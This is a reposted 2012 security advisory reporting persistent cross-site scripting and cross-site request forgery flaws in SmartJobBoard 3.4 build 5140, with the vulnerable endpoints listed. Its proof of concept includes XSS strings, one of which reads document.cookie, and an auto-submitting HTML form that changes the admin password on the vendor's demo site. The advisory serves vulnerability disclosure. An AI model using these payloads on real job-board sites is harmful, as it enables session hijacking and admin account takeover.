SmartJobBoard 3.4 b5140 Cross Site Scripting / Cross Site Request Forgery

2012-04-04T00:00:00
ID PACKETSTORM:111532
Type packetstorm
Reporter the_storm
Modified 2012-04-04T00:00:00

Description

                                        
                                            `Title:  
======  
SmartJobBoard v3.4 b5140 - Multiple Web Vulnerabilites  
  
  
Date:  
=====  
2012-04-03  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=490  
  
  
VL-ID:  
=====  
490  
  
  
Introduction:  
=============  
SmartJobBoard is an advanced software platform for creating professional job board web sites.  
It includes everything   
you need for running, customizing and extending your online recruitment service. Whether your job board is niche or general,   
employer or job seeker oriented, paid or free SmartJobBoard allows you to implement your ideas easily.  
  
(Copy of the Vendor Homepage: )  
  
  
Abstract:  
=========  
A Vulnerability Laboratory Researcher discovered multiple Web Vulnerabilities in SmartJoBboard v3.4 Build 5140.  
  
  
  
Report-Timeline:  
================  
2012-04-03: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
1.1  
A persistent input validation vulnerabilities are detected in SmartJoBboard ver-3.4 build 5140  
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).  
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)   
context manipulation. Exploitation requires low user inter action.  
  
Vulnerable Module(s):  
[+] Create resume (name of resume, institution, major) are all parameters that are injectible  
/add-listing/?listing_type_id=Resume  
[+] Sending a message (Title)  
/demo/private-messages/send/   
[+] Create a screening-questionnaires  
/screening-questionnaires/new/   
[+] Creating a job  
/add-listing/?listing_type_id=Job  
  
1.2  
The bugs allow remote attackers to enforce the user (admin) to change his password,add a page, or create a new user (persistent)  
Successful exploitation of the vulnerability can lead to creating a new admin account or create a new page.  
  
Vulnerable Module(s):  
[+] /admin/adminpswd/  
[+] /admin/user-pages/  
[+] /admin/users/  
  
  
Proof of Concept:  
=================  
1.1  
he issue can be exploited by an insert on the Created Object function with script code as value.  
The result is the persistent execution out of the web application context.   
  
Strings: >"<<iframe src=http://xxxxx.com/>3</iframe> ... or >"<script>alert(document.cookie)</script><div style="1  
  
2.1  
<html>  
<form name="test" action="http://www.smartjobboard.com/demo/admin/adminpswd/" method="post">  
<input type="hidden" name="action" value="change_admin_account"><br/>  
<input type="hidden" name="USR_LOGIN" value="test"><br/>  
<input type="hidden" name="new_name" value="admin"><br/>  
<input type="hidden" name="old_password" value="admin"><br/>  
<input type="hidden" name="new_password" value="admin2"><br/>  
<input type="hidden" name ="new_password_confirm" value="admin2"<br/>  
</form>  
<script>document.test.submit();</script>  
</html>  
  
  
Risk:  
=====  
1.1  
The security risk of the persisten input validation vulnerability is estimated as medium.  
  
1.2  
The security risk of the cross site request forgery vulnerability is estimated as low.  
  
  
Credits:  
========  
Vulnerability Research Laboratory Team - the_storm (the_storm@mail.com)  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-  
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of   
other media, are reserved by Vulnerability-Lab or its suppliers.  
  
Copyright © 2012 Vulnerability-Lab  
  
  
  
  
--   
VULNERABILITY RESEARCH LABORATORY TEAM  
Website: www.vulnerability-lab.com  
Mail: research@vulnerability-lab.com  
  
`